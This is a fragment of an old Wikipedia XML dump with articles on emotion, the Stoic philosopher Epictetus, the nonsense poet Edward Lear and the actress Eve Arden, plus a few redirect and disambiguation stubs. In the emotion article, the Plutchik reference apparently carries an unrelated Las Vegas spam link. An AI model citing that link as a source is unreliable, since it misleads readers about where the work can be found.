== See also ==
* [[Esperanto literature]]
* [[Esperanto music]]
* [[Esperanto flag]]
* [[Esperanto library]]


[[Category:Esperanto culture|*]]

[[de:Esperanto-Kultur]]
[[eo:Esperanto-kulturo]]
[[es:Cultura esperantista]]
[[fi:Esperantokulttuuri]]
[[fr:Culture et espéranto]]
[[nl:Esperantocultuur]]
[[pl:Kultura esperanto]]</text>
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      <comment>Automated conversion</comment>
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    <title>Emotion</title>
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      </contributor>
      <comment>/* Emotion researchers */</comment>
      <text xml:space="preserve">{{Redirect|Emotions}}
{{psychology}}
'''Emotion''', in its most general definition, is a [[neurology|neural]] impulse that moves an [[organism]] to [[action (philosophy)|action]], prompting automatic reactive behavior that has been adapted through evolution as a survival mechanism to meet a survival need. [[Linda Davidoff]] defines emotion as a feeling that is expressed through physiological functions such as [[facial expression]]s, faster [[heartbeat]], and behaviors such as [[aggression]], [[crying]], or covering the face with hands.{{ref|Davidoff}}

Emotion is differentiated from [[feeling]], in that, as noted, emotion is a psycho-physiological state that moves an organism to action.  Feeling, on the other hand, is emotion that is filtered through the cognitive brain centers, specifically the frontal lobe, producing a physiological change in addition to the psycho-physiological change. [[Daniel Goleman]], in his landmark book ''[[Emotional Intelligence]]'', discusses this differentiation at length.

== Elaborations ==
Emotion is complex, and the term has no single universally accepted definition.  Emotions are mental states that arise spontaneously, rather than through conscious effort.  It is unclear whether [[animal]]s or all [[human]] beings experience emotion. Emotions are physical expressions, often involuntary, related to feelings, perceptions or beliefs about elements, objects or relations between them, in reality or in the imagination. The study of emotions is part of psychology, neuroscience, and, more recently, artificial intelligence. According to Sloman {{ref|Sloman}}, emotions are cognitive processes. Some authors emphasize the difference between human emotions and the affective behavior of animals.

Emotion is sometimes regarded as the antithesis of [[reason]]. This is reflected in common phrases like ''appeal to emotion'' or ''your emotions have taken over''. Emotions can be undesired to the individual feeling them; he or she may wish to control but often cannot. Thus one of the most distinctive, and perhaps challenging, facts about human beings is this potential for entanglement, or even opposition, between [[will (philosophy)|will]], emotion, and reason.

Emotion as the subject of [[scientific research]] has multiple dimensions: [[behavior]]al, physiological, subjective, and [[cognition|cognitive]]. Sloman and others explain that the need to face a changing and unpredictable world makes emotions necessary for any intelligent system (natural or artificial) with multiple motives and limited capacities and resources.

[[Affective neuroscience|Current research on the neural circuitry of emotion]] suggests that emotion makes up an essential part of human [[decision-making]], including long-term planning, and that the famous distinction made by [[Descartes]] between reason and emotion is not as clear as it seems.

Some state that there is no empirical support for any generalization suggesting the antithesis between reason and emotion: indeed, anger or fear can often be thought of as a systematic response to observed facts. What can be noted, however, is that the human psyche possesses many possible reactions and perspectives in response to the internal and external world - often lying on a continuum&amp;#8212; at one extreme lies pure intellectual logic (often called &quot;cold&quot;); at the other extreme is pure emotionally unresponsive to logical argument (&quot;the heat of passion&quot;). In any case, it is clear that the relation between [[logic]] and [[Logical argument|argument]] on the one hand and emotion on the other, is one which merits careful study. It has been noted by many that passion, emotion, or feeling can add backing to an argument, even one based primarily on reason - particularly regarding religion or ideology, areas of human thought which frequently demand an all-or-nothing rejection or acceptance, that is, the adoption of a comprehensive worldview partly backed by empirical argument and partly by feeling and passion. Moreover, it has been suggested by several researchers that typically there is no &quot;pure&quot; decision or thought, that is, no thought based &quot;purely&quot; on intellectual logic or &quot;purely&quot; on emotion - most decisions and cognitions are founded on a mixture of both.

Pyschiatrist [[William Glasser]]'s theory of the human control system states that all human behavior is composed of four simultaneous components: deeds, ideas, emotions, and physiological states.  He asserts that we choose the idea and deed and that the ''associated'' emotions and physiological states also occur but cannot be chosen independently. He calls his construct a ''total behavior'' to distinguish it from the common concept of behavior.  He uses the verbs to describe what is commonly ''seen'' as emotion.  For example, he  uses 'to depress' to describe the total behavior commonly known as depression which, to him, includes depressing ideas, actions, emotions, and physiological states.  Dr. Glasser also further asserts that internal choices (conscious or unconcious) cause emotions instead of external stimuli.

== Relation to cultural and social factors ==
{{Template:Emotion}}
It is not clear whether emotion is a purely ''human'' phenomenon, since animals seem to exhibit conditions which resemble emotional responses such as anger, fear or sadness, and some animals also exhibit similar neural phenomena to humans in tandem with possible emotional response.  

It has been hypothesized that emotions  typical of human beings have evolved and changed in many ways since the species first emerged. Nonetheless, as noted above, it may well be the case that human and non-human animal emotional responses lie on a constant continuum, rather than being two completely distinct categories of human and animal.

Much of what is said about emotions, as well as the history of what has been said about them, is conditioned by [[culture]] and even [[politics]]. That is to say specific emotional responses, as well as a group's interpretation of their significance, may be influenced by cultural norms of propriety. For instance, certain emotions such as love, hate, and the desire for vengeance are treated very differently in differing societies. This methodological [[relativism|relativity]] is entirely different from the question of whether emotions are universal or are culturally determined. Many researchers would agree that a vast proportion of human behavior, no matter how close to the lowest biological substrates - including sexual behavior, food consumption, feelings in response to physiological changes and responses to environmental conditions - are conditioned based on social surroundings and non-human environmental factors. Thus it is not difficult to defend the position that emotion is, to a high degree, dependent on social phenomena, expectations, norms, and conditioned behavior of the group in which an individual lives. The influence of politics, religion, and socio-cultural customs can be sometimes traced or hypothesized. Among many pertinent examples: behaviors or activities considered highly cruel in some societies may in fact provoke responses of enjoyment in others; or, sexual acts considered highly desirable in some cultures would provoke shame or disgust in others.

Contrary to this view, [[Paul Ekman]] has shown that at least some facial expressions and their corresponding emotions are universal across human cultures and are not culturally determined.  These universal emotions include [[anger]], [[disgust]], [[fear]], [[happiness|joy]], [[sadness]] and [[surprise]].

==Theoretical traditions==
According to Cornelius (1996), four main theoretical traditions have dominated research in emotions starting in the 1800's with Darwin's observations of emotion in man and animals. These traditions are not mutually exclusive and many researchers incorporate multiple perspectives in their work.

*The Darwinian perspective
First articulated in the late 19th century by [[Charles Darwin]], emotions evolved via natural expression and therefore have cross-culturally universal counterparts. Most research in this area has focused on physical displays of emotion including body language of animals and facial expressions in humans. Paul Ekman's work on basic emotions is representative of the Darwinian tradition.

*The Jamesian perspective
[[William James]] in the 1800's believed that emotional experience is largely due to the experience of bodily changes. These changes might be visceral, postural, or facially expressive.

*The cognitive perspective
Many researchers believe that thought and in particular cognitive appraisal of the environment is an underlying causal explanation for emotional processes.

*The social constructivist perspective
Social constructivism emphasizes the importance of culture and context in understanding what occurs in society and constructing knowledge based on this understanding (Derry, 1999; McMahon, 1997). Much current research in emotion is based on the social constructivist view.

*The neurological tradition (Plutchik, 1980)
This tradition draws on recent work on neurophysiology and neuroanatomy to explain the nature of emotions. LeDoux (1986) reviews relatively current knowledge on the neurophysiology of emotion.

==Etymology==
[[Etymology|Etymologically]], the word emotion is a composite formed from two [[Latin]] words. '''ex'''/out, outward + '''motio'''/movement, action, gesture. This [[classical]] formation refers to the immediate nature of emotion as experienced by humans and attributed in some cultures and ways of thinking to all living organisms, and by scientific community to any creature that exhibits complex response traits similar to what humans refer to as emotion.

==Physical responses to emotion==
The body frequently responds to ''Shame'' by warmth in the upper chest and face, ''Fear'' by a heightened heartbeat, increased &quot;flinch&quot; response, and increased muscle tension. The sensations connected with ''anger'' are nearly indistinguishable from fear. ''Happiness'' is often felt as an expansive or swelling feeling in the chest and the sensation of lightness or buoyancy, as if standing underwater. ''Sadness'' by a feeling of tightness in the throat and eyes, and relaxation in the arms and legs.  ''Desire'' can be accompanied by a dry throat and heavy breathing

==Computer models of emotion==
A flurry of recent work in modeling emotional circuitry and recognition has come out of computer science, engineering, psychology and neuroscience (c.f. Fellous, Armony &amp; LeDoux, 2002).
* See [[affective computing]]
* Neural network models of emotion recognition

== References and notes ==

# Cornelius, R. (1996). The science of emotion. New Jersey: Prentice Hall.
# Damasio AR. (1994). &quot;Descartes' Error.&quot; Penguin Putnam, New York, New York.
# Darwin, C. (1872). The Expression of Emotions in Man and Animals. This was originally published in 1872. It has been reprinted many times thereafter. See, e.g., London: Julian Friedmann Publishers, 1979 (with an introduction by S.J. Rachman.) 
# {{note|Davidoff}} Davidoff, Linda. 1980, 2a. Introducción a la Psicología, McGraw-Hill. México.
# Ekman P. (1999). &quot;Facial Expressions&quot; in ''Handbook of Cognition and Emotion.'' Dalgleish T &amp; Power M, ''Eds.'' John Wiley &amp; Sons Ltd. New York, New York.
# Fellous, J.M., Armony, J.L., &amp; LeDoux, J.E. (2002). &quot;Emotional Circuits and Computational Neuroscience&quot; in 'The handbook of brain theory and neural networks' Second Edition. M.A. Arbib (editor), The MIT Press. [http://citeseer.ist.psu.edu/fellous02emotional.html]
# Frijda, Nico H. (1986). The Emotions. Maison des Sciences de l'Homme and Cambridge University Press. [http://www.cambridge.org/uk/catalogue/catalogue.asp?isbn=0521316006]
# LeDoux, J.E. (1986). The neurobiology of emotion. Chap. 15 in J E. LeDoux &amp; W. Hirst (Eds.) Mind and Brain: diologues in cognitive neuroscience. New York: Cambridge.
# Plutchik, R. (1980). A general psychoevolutionary theory of emotion. In R. Plutchik &amp; H. Kellerman (Eds.), Emotion: Theory, research, and experience: Vol. 1. Theories of emotion (pp. 3-33). New York: Academic.[http://www.123lasvegas.info]
# {{note|Sloman}} Sloman, Aaron. 1981. Why Robots Will Have Emotions. University of Sussex. In proc.[http://www.cs.bham.ac.uk/research/cogaff/Aaron.Sloman_why_robot_emotions.pdf]

== Emotion researchers ==
* [[Wiliam James]]
* [[Charles Darwin]]
* [[Ivan Pavlov]]
* [[James Papez]]
* [[Paul D. MacLean]]
* [[Sigmund Freud]]
* [[Carl Jung]]
* [[Carl Rogers]]
* [[Paul Ekman]]
* [[Antonio Damasio]]
* [[Robert Plutchik]]
* [[Aaron Ben-Ze'ev]]
* [[Joseph LeDoux]]
* [[Nico Frijda]]
* [[Keith Oatley]]
* [[Robert Zajonc]]
* [[Alice Isen]]
* [[Spinoza]]

== See also ==
* [[Affective neuroscience]]
* [[Affective science]]
* [[List of emotions]]

[[Category:Emotion| ]]
[[Category:Psychology]]
[[Category:Limbic system]]
[[Category:Motivation]]

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  </page>
  <page>
    <title>Epictetus</title>
    <id>10407</id>
    <revision>
      <id>40984840</id>
      <timestamp>2006-02-24T07:47:33Z</timestamp>
      <contributor>
        <ip>24.161.129.7</ip>
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      <comment>/* Philosophy */</comment>
      <text xml:space="preserve">'''Epictetus''' (c.[[55]]&amp;ndash;c.[[135]]) was a Greek [[Stoic]] philosopher. He was probably born at [[Hierapolis]], [[Phrygia]], and lived most of his life in [[Rome]] until his exile to [[Nicopolis]] in northwestern [[Greece]], where he died. The name given by his parents, if one was given, is not known - the word ''epiktetos'' in Greek simply means &quot;acquired.&quot;

==Life==
Epictetus spent his youth as a [[Slavery|slave]] in [[Rome]] to [[Epaphroditos]], a very wealthy freedman of [[Nero]]. Even as a slave, Epictetus used his time productively, studying [[Stoic]] [[Philosophy]] under [[Musonius Rufus]]. He was eventually freed and lived a relatively hard life in ill health in Rome. It is known that he became crippled, owing to cruel treatment by his master, Epaphroditus, according to most reports. He was exiled along with other philosophers by the emperor [[Domitian]] sometime between 89 and [[95]]. 

It was Epictetus' exile by [[Domitian]] that began what would later come to be the most celebrated part of his life. After his exile, Epictetus traveled to [[Nicopolis]], [[Greece]], where he founded a famed philosophical school. This school was even visited by [[Hadrian]], and its most famous student, [[Arrian]], became a great historian in his own right. 

True to [[Stoic]] form, Epictetus lived a life of great simplicity, marked by teaching and intellectual pursuits. Some claim that he married once, late in life, to help raise a child who would have otherwise been left to die. Others say that he did not marry, and that he had no children. 

Demonax supposedly rebuked Epictetus' exhortation to marry by sarcastically asking whether he could marry one of the philosopher's daughters.

==Philosophy==
Epictetus' main work is ''The Discourses,'' four books of which have been preserved complete (out of an original eight). A popular digest, entitled the ''[[Enchiridion of Epictetus|Enchiridion]]''--or &quot;Handbook&quot;--also survives. These were not written by Epictetus himself, but were penned by his pupil [[Arrian]]. In a preface to the ''Discourses,'' addressed to Lucius Gellius, Arrian states that &quot;whatever I heard him say I used to write down, word for word, as best I could, endeavouring to preserve it as a memorial, for my own future use, of his way of thinking and the frankness of his speech.&quot; 

Epictetus focused on ethics to a greater extent than the early Stoics had. He held that our aim was to be masters of our own lives. The role of the Stoic teacher, according to Epictetus, was to encourage his students to live the philosophic life, whose end was ''[[eudaimonia]]'' (&amp;#8216;happiness&amp;#8217; or &amp;#8216;flourishing&amp;#8217;), to be secured by living the life of reason, which meant living virtuously and living &amp;#8216;according to the will of nature&amp;#8217;.

Epictetus' doctrine recognized two categories of influences to life, distinguishing between those under human control and those outside thereof (''[[adiaphora]]''). The first category includes aspects like ambition or animosity; the latter health, fame or property. He concludes that positive or negative interpretation of personal circumstances emerging from uncontrollable facts is an act of free will. Stoicism is the state of recognition that such facts cannot affect life.

In the last chapter in ''Enchiridion'' he concludes his ethics with four maxims meant to help during everyday life:

&lt;blockquote&gt;
&quot;Lead thou me on, O Zeus, and Destiny,&lt;br/&gt;
To that goal long ago to me assigned.&lt;br/&gt;
I'll follow and not falter; if my will&lt;br/&gt;
Prove weak and craven, still I'll follow on.&lt;br/&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
&quot;Whoever has complied well with necessity&lt;br/&gt;
Is counted wise by us, and understands divine affairs. (From [[Euripides]], Frag. 965)&lt;br/&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
&quot;O Crito, if it thus pleases the gods, thus let it be.&quot; (From [[Plato]]'s [[Crito]])
&lt;/blockquote&gt;

&lt;blockquote&gt;
&quot;Anytus and Meletus can kill me, but they can't harm me.&quot; (From [[Plato]]'s [[Apology (Plato) | Apology]])
&lt;/blockquote&gt;

== References ==
* Epictetus, Nicholas P. White (trans.), ''The Handbook'', ISBN 0915145693, 1983.
* Epictetus, George Long (trans.), ''Enchiridion'', ISBN 0879757035, 1955.
* Adolf Friedrich Bonhoffer, William O. Stephens, ''The Ethics of the Stoic Epictetus'', ISBN 0820451398, 2000.
* A. A. Long, ''Epictetus: A Stoic and Socratic Guide to Life'', ISBN 0199245568, 2002.
* Epictetus, ''The Discourses (The Handbook, Fragments)'', Everyman Edition, Edited by Christopher Gill, ISBN 0460873121, 2003.
* Robert Dobbin, ''Epictetus Discourses: Book 1'' (Clarendon Later Ancient Philosophers), Oxford: Clarendon Press, ISBN 0198236646, 1998.
* ''Epictetus: The Discourses,'' trans. W.A. Oldfather. 2 vols. (Loeb Classical Library edition.) Cambridge, MA: Harvard University Press, 1925 &amp; 1928. ISBN 0674991451 and ISBN 0674992407.

==External links==
{{wikiquote}}
* {{gutenberg author| id=Epictetus | name=Epictetus}}
*[http://www.utm.edu/research/iep/e/epictetu.htm Epictetus] entry at The Internet Encyclopedia of Philosophy
* Epictetus' writings at the [http://classics.mit.edu/Browse/browse-Epictetus.html Internet Classics Archive]
* [http://www.philosophyarchive.com/text.php?era=100-199&amp;author=Epictetus&amp;text=Discourses Books of the Discourses]

[[Category:Ancient Greek philosophers]]
[[Category:Stoic philosophers]]
[[Category:Roman era philosophers]]
[[Category:Roman slaves and freedmen]]

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  <page>
    <title>Edward Lear</title>
    <id>10408</id>
    <revision>
      <id>41646777</id>
      <timestamp>2006-02-28T19:47:48Z</timestamp>
      <contributor>
        <username>R Lowry</username>
        <id>3399</id>
      </contributor>
      <minor />
      <comment>qualifying 'dictionary'</comment>
      <text xml:space="preserve">[[image:edwardlear.jpg|thumb|right|Edward Lear, 1812-1888]]
[[image:eagleowl.jpg|thumb|right|''Eagle Owl'', Edward Lear, 1837]]
[[image:owlpussycat.jpg|thumb|right|Another Edward Lear owl, in his more familiar style]]
'''Edward Lear''' ([[12 May]] [[1812]] - [[29 January]] [[1888]]) was an [[artist]], [[illustrator]] and [[writer]] known for his [[nonsense verse|nonsensical poetry]] and his [[limerick (poetry)|limericks]], a form which he popularised.  He was born in [[Highgate]], a suburb of [[London]], the 20th child of his parents and raised by his eldest sister, Ann, twenty-one years his senior. At the age of fifteen, he and his sister had to leave the family home and set up house together. He started work as a serious illustrator and his first publication, at the age of 19, was ''Illustrations of the Family of Psittacidae, or Parrots'' in [[1830]]. His paintings were well received and he was favorably compared with [[John James Audubon|Audubon]]. Throughout his life he continued to paint seriously. He had a lifelong ambition to illustrate [[Alfred Tennyson|Tennyson]]'s poems; near the end of his life a volume with a small number of illustrations was published, but his vision for the work was never realised.

He did not keep good health. From the age of seven until the time of his death he suffered frequent ''grand mal'' [[epilepsy|epileptic]] [[seizure]]s, as well as [[bronchitis]], [[asthma]], and in later life, partial [[blindness]].

In [[1846]] he published ''A Book of Nonsense'', a volume of limericks which went through three editions and helped popularise the form. In [[1865]] ''The History of the Seven Families of the Lake Pipple-Popple'' was published, and in [[1867]] his most famous piece of [[nonsense]], ''[[The Owl and the Pussycat]]'', which he wrote for the children of his patron [[Edward Stanley, 13th Earl of Derby]]. Many other works followed.
== Lear's writing ==
Edward Lear's nonsense works are distinguished by a facility of verbal invention and a poet's delight in the sounds of words, both real and imaginary. A stuffed rhinoceros becomes a &quot;diaphanous doorscraper&quot;. A &quot;blue Boss-Woss&quot; plunges into &quot;a perpendicular, spicular, orbicular, quadrangular, circular depth of soft mud&quot;. His heroes are Quangle-Wangles, Pobbles, and Jumblies. His most famous piece of verbal invention occurs in the closing lines of ''The Owl and the Pussycat'': 

&lt;!-- This ugly HTML renders much better, and is more browser-independent than other alternatives--&gt;
&amp;nbsp;&amp;nbsp;They dined on mince, and slices of quince&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Which they ate with a runcible spoon;&lt;br&gt;
&amp;nbsp;&amp;nbsp;And hand in hand, on the edge of the sand,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;They danced by the light of the moon,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;The moon,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;The moon,&lt;br&gt;
&amp;nbsp;&amp;nbsp;They danced by the light of the moon.&lt;br&gt;

The &quot;[[runcible spoon]]&quot;, a Lear coinage, entered the language and is now found in almost any English dictionary.

Limericks are invariably typeset as five lines today, but Edward Lear's limericks were published in a variety of formats. It appears that Lear wrote them in manuscript basically in as many lines as there was room for beneath the picture. In the first three editions, most are typeset as, respectively, three, five, and three lines. The cover of one edition [http://www.nonsenselit.org/Lear/BoN/index.html] bears an entire limerick typeset in only '''two''' lines, thus:

&lt;!-- This ugly HTML renders much better, and is more browser-independent than other alternatives--&gt;
&amp;nbsp;&amp;nbsp;There was an Old Derry down Derry, who loved to see little folks merry;&lt;br&gt;
&amp;nbsp;&amp;nbsp;So he made them a book, and with laughter they shook at the fun of that Derry down Derry.&lt;br&gt;

In Lear's limericks, the first and last lines usually end with the same word, rather than rhyming. For the most part, they are truly nonsensical and devoid of any punch line or point; there is nothing in them to &quot;get&quot;. They are completely free of the [[off-color humor|off-color humour]] with which the verse form is now associated. A typical thematic element is the presence of a callous and critical &quot;they&quot;. An example of a typical Lear limerick:

&lt;!-- This ugly HTML renders much better, and is more browser-independent than other alternatives--&gt;
&amp;nbsp;&amp;nbsp;There was an Old Man of Aôsta,&lt;br&gt;
&amp;nbsp;&amp;nbsp;Who possessed a large Cow, but he lost her;&lt;br&gt;
&amp;nbsp;&amp;nbsp;But they said, 'Don't you see, she has rushed up a tree?&lt;br&gt;
&amp;nbsp;&amp;nbsp;You invidious Old Man of Aôsta!'&lt;br&gt;

It is interesting to compare those two [[Victorian era|Victorian]] masters of nonsense, Edward Lear and [[Lewis Carroll]]. Lewis Carroll's &quot;nonsense&quot; is a ''reversal'' or parody of ordinary logic. He plays on the ''meaning'' of words, and his writing style itself is prosaic. Edward Lear's &quot;nonsense&quot; is a true ''absence'' of logic; he plays on the ''sound'' of words and his writing style is poetic. Among Lear's tremble-bembles and the chippy-wippy-sikki-tees can be found some very felicitous turns of phrase. Lear's self-portrait in verse, ''How Pleasant to know Mr. Lear,'' closes with this [[stanza]], a pleasant reference to his own mortality:

&lt;!-- This ugly HTML renders much better, and is more browser-independent than other alternatives--&gt;
&amp;nbsp;&amp;nbsp;He reads but he cannot speak Spanish,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;He cannot abide ginger-beer;&lt;br&gt;
&amp;nbsp;&amp;nbsp;Ere the days of his pilgrimage vanish,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;How pleasant to know Mr. Lear!&lt;br&gt;

[[Image:EdwardLearSelfPortrait.jpg|thumb|Edward Lear self portrait]]

==Works==
*''Illustrations of the Family of the [[Psittacidae|Psittacidæ]]'' (1832)
*''Tortises, Terrapins, and Turtles'' by [[John Edward Gray|J.E. Gray]] 
*''Views in Rome and its Environs'' (1841)
*''Gleanings from the Menagerie at Knowsley Hall'' (1846)
*''Illustrated Excursions in Italy'' (1846)
*''Book of Nonsense'' (1846)
*''Journal of a Landscape Painter in Greece and Albania'' (1851)
*''Journal of a Landscape Painter in Souther Albania'' (1852)
*''Book of Nonsense and More Nonsense'' (1862)
*''Views in the Seven Ionian Isles'' (1863)
*''Journal of a Landscape Painter in Corsica'' (1870)
*''Nonsense Songs and Stories'' (1871)
*''More Nonsense Songs, Pictures, etc.'' (1872)
*''Laughable Lyrics'' (1877)
*''Nonsense Alphabets''
*''Nonsense Botany'' (1888)
*''[[Alfred Tennyson, 1st Baron Tennyson|Tennyson]]'s Poems, illustrated by Lear'' (1889)
*''Facsimile of a Nonsense Alphabet'' (1849, but not published until 1926)

==External links==
{{wikiquote}}
* {{gutenberg author| id=Edward+Lear | name=Edward Lear}}
*[http://www.bencourtney.com/ebooks/lear/ Edward Lear's Books of Nonsense]
*[http://www.nonsenselit.org/Lear Edward Lear Home Page] at [http://www.nonsenselit.org nonsenselit.org]

[[Category:1812 births|Lear, Edward]]
[[Category:1888 deaths|Lear, Edward]]
[[Category:English children's writers|Lear, Edward]]
[[Category:English poets|Lear, Edward]]
[[Category:English fantasy writers|Lear, Edward]]
[[Category:Epileptics|Lear, Edward]]
[[Category:British illustrators|Lear, Edward]]
[[Category:Bird artists|Lear, Edward]]
[[Category:Cat lovers|Lear, Edward]]

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  </page>
  <page>
    <title>Eve Arden</title>
    <id>10409</id>
    <revision>
      <id>41670914</id>
      <timestamp>2006-02-28T23:39:01Z</timestamp>
      <contributor>
        <username>Ben King</username>
        <id>389535</id>
      </contributor>
      <text xml:space="preserve">[[Image:Eve Arden.jpg|thumb|200px|Arden with [[Armed Forces Radio Service]] in the [[1940s]]]]
'''Eve Arden''' ([[April 30]], [[1908]] - [[November 12]], [[1990]]) was an [[Academy Award|Oscar]]-nominated [[United States|American]] actress whose career lay squarely on the border between leading lady and [[character actress|character actor]].  Her work in film, television, and theatre, and especially her expertise in delivering sharp, wry lines that never concealed her essential warmth as a performer, made her among the most fondly remembered actresses of her era.

==Early life==
Arden was born '''Eunice Quedens''' in [[Mill Valley, California]] to parents who split up when she was a child. She declared later in life that she needed therapy because her mother was so much more beautiful than she was.

==Career==
Arden began her career on stage, making her [[Broadway theatre|Broadway]] debut in 1934. Her many memorable screen roles include a supporting role as a world-weary thespian in [[Stage Door]], [[Joan Crawford]]'s wise-cracking pal in [[1945]]'s ''[[Mildred Pierce]]'' (for which she received an [[Academy Award]] nomination as Best Supporting Actress), and [[James Stewart]]'s wistful secretary in [[1959]]'s ''[[Anatomy of a Murder]]''.  Later in her career, she portrayed Principal McGee in both [[1978]]'s ''[[Grease (musical)|Grease]]'' and [[1982]]'s ''[[Grease 2]]''. 

She starred as Madison High School English teacher Connie Brooks in the comedy [[Our Miss Brooks]] on [[radio]] ([[1948]]-[[1952]]), [[television]] ([[1952]]-[[1956]]), and in a [[1956]] related feature film.  She appeared with [[Kaye Ballard]] in the 1967-1969 sitcom, [[The Mothers-In-Law]], which was produced by her old friend [[Desi Arnaz]] after the dissolution of [[Desilu]].  She was one of many stars to take on the roles of Dolly Levi (in [[Hello, Dolly!]] and Mame in [[Auntie Mame]] in the 1960s; in 1967, she won the [[Sarah Siddons Award]] for her work in [[Chicago theatre]]. For her contributions to the entertainment industry, she received a star on the [[Hollywood Walk of Fame]] at 6714 Hollywood Boulevard.

Her autobiography, ''The Three Phases of Eve'', was published in 1985.  It is notable for its discretion in regard to Arden's many costars and her loyalty to the Hollywood studio system that nurtured her career.

==Private life==
She was married to Ned Bergen from 1939 to 1947 and to Brooks West from 1952 until his death in 1984 from a heart ailment.  They had four children, three of whom were adopted.

Arden died of [[cancer]] and [[heart disease]] at her home in [[Los Angeles, California]] at the age of 82, and was interred in the [[Westwood Village Memorial Park Cemetery]] in [[Westwood, Los Angeles, California|Westwood, California]].

==Filmography==
*''[[Song of Love]]'' ([[1929]])
*''[[Dancing Lady]]'' ([[1933]])
*''[[Oh Doctor]]'' ([[1937]])
*''[[Stage Door]]'' ([[1937]])
*''[[Cocoanut Grove (film)|Cocoanut Grove]]'' ([[1938]])
*''[[Having Wonderful Time]]'' ([[1938]])
*''[[Letter of Introduction]]'' ([[1938]])
*''[[Women in the Wind]]'' ([[1939]])
*''[[Big Town Czar]]'' ([[1939]])
*''[[The Forgotten Woman]]'' ([[1939]])
*''[[Eternally Yours]]'' ([[1939]])
*''[[At the Circus]]'' ([[1939]])
*''[[A Child Is Born]]'' ([[1939]])
*''[[Slightly Honorable]]'' ([[1940]])
*''[[Comrade X]]'' ([[1940]])
*''[[She Couldn't Say No]]'' ([[1940]])
*''[[No, No, Nanette]]'' ([[1940]])
*''[[That Uncertain Feeling]]'' ([[1941]])
*''[[Ziegfeld Girl]]'' ([[1941]])
*''[[She Knew All the Answers]]'' ([[1941]])
*''[[San Antonio Rose]]'' ([[1941]])
*''[[Whistling in the Dark]]'' ([[1941]])
*''[[Manpower]]'' ([[1941]])
*''[[The Last of the Duanes]]'' ([[1941]])
*''[[Sing for Your Supper]]'' ([[1941]])
*''[[Bedtime Story]]'' ([[1941]])
*''[[Obliging Young Lady]]'' ([[1942]])
*''[[Hit Parade of 1943]]'' ([[1943]])
*''[[Let's Face It]]'' ([[1943]])
*''[[Cover Girl]]'' ([[1944]])
*''[[The Doughgirls]]'' ([[1944]])
*''[[Earl Carroll Vanities]]'' ([[1945]])
*''[[Patrick the Great]]'' ([[1945]])
*''[[Pan-Americana]]'' ([[1945]])
*''[[Mildred Pierce]]'' ([[1945]])
*''[[My Reputation]]'' ([[1946]])
*''[[The Kid from Brooklyn]]'' ([[1946]])
*''[[Night and Day]]'' ([[1946]])
*''[[Song of Scheherazade]]'' ([[1947]])
*''[[The Arnelo Affair]]'' ([[1947]])
*''[[The Unfaithful]]'' ([[1947]])
*''[[Screen Snapshots: Off the Air]]'' ([[1947]]) (short subject)
*''[[The Voice of the Turtle]]'' ([[1947]])
*''[[One Touch of Venus]]'' ([[1948]])
*''[[Whiplash]]'' ([[1948]])
*''[[My Dream Is Yours]]'' ([[1949]])
*''[[The Lady Takes a Sailor]]'' ([[1949]])
*''[[Paid in Full]]'' ([[1950]])
*''[[Curtain Call at Cactus Creek]]'' ([[1950]])
*''[[Tea for Two]]'' ([[1950]])
*''[[Three Husbands]]'' ([[1951]])
*''[[Goodbye, My Fancy]]'' ([[1951]])
*''[[We're Not Married!]]'' ([[1952]])
*''[[The Lady Wants Mink]]'' ([[1953]])
*''[[Screen Snapshots: Hollywood Life]]'' ([[1954]]) (short subject)
*''[[Our Miss Brooks]]'' ([[1956]])
*''[[Anatomy of a Murder]]'' ([[1959]])
*''[[The Dark at the Top of the Stairs]]'' ([[1960]])
*''[[Sergeant Dead Head]]'' ([[1965]])
*''[[The Strongest Man in the World]]'' ([[1975]])
*''[[grease (musical)|Grease]]'' ([[1978]])
*''[[Under the Rainbow]]'' ([[1981]])
*''[[Pandemonium (movie)|Pandemonium]]'' ([[1982]])
*''[[Grease 2]]'' ([[1982]])

==External links==
{{commons|Eve Arden}}
*{{imdb name|id=0000781|name=Eve Arden}}

[[Category:1908 births|Arden, Eve]]
[[Category:1990 deaths|Arden, Eve]]
[[Category:American film actors|Arden, Eve]]
[[Category:American stage actors|Arden, Eve]]
[[Category:American television actors|Arden, Eve]]
[[Category:Best Supporting Actress Oscar Nominee|Arden, Eve]]
[[Category:Daytime Emmy Award winners|Arden, Eve]]
[[Category:Gay icons|Arden, Eve]]
[[Category:Hollywood Walk of Fame|Arden, Eve]]
[[Category:Roman Catholics|Arden, Eve]]
[[Category:Showgirls appearing as Ziegfeld Girls|Arden, Eve]]
[[Category:Falcon Crest actors|Arden, Eve]]


[[de:Eve Arden]]
[[sv:Eve Arden]]</text>
    </revision>
  </page>
  <page>
    <title>EnchirideoN</title>
    <id>10410</id>
    <revision>
      <id>15908224</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Enchiridion]]
</text>
    </revision>
  </page>
  <page>
    <title>Elementary function</title>
    <id>10411</id>
    <revision>
      <id>39531693</id>
      <timestamp>2006-02-14T03:04:56Z</timestamp>
      <contributor>
        <username>Fredrik</username>
        <id>26675</id>
      </contributor>
      <minor />
      <comment>moved [[Elementary function (disambiguation)]] to [[Elementary function]]: nevermind, can't do the move</comment>
      <text xml:space="preserve">'''Elementary function''' can mean:
* [[List of mathematical functions |A function that is not complicated]].
* [[Elementary function (differential algebra)| A class of functions]] used in [[Differential Galois theory|differential algebra]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Elementary function (differential algebra)</title>
    <id>10412</id>
    <revision>
      <id>39736871</id>
      <timestamp>2006-02-15T14:28:22Z</timestamp>
      <contributor>
        <username>Fredrik</username>
        <id>26675</id>
      </contributor>
      <comment>differential algebra ---&gt; mathematics, as this is a general topic; wikify</comment>
      <text xml:space="preserve">: ''For simple functions see the [[list of mathematical functions]].''

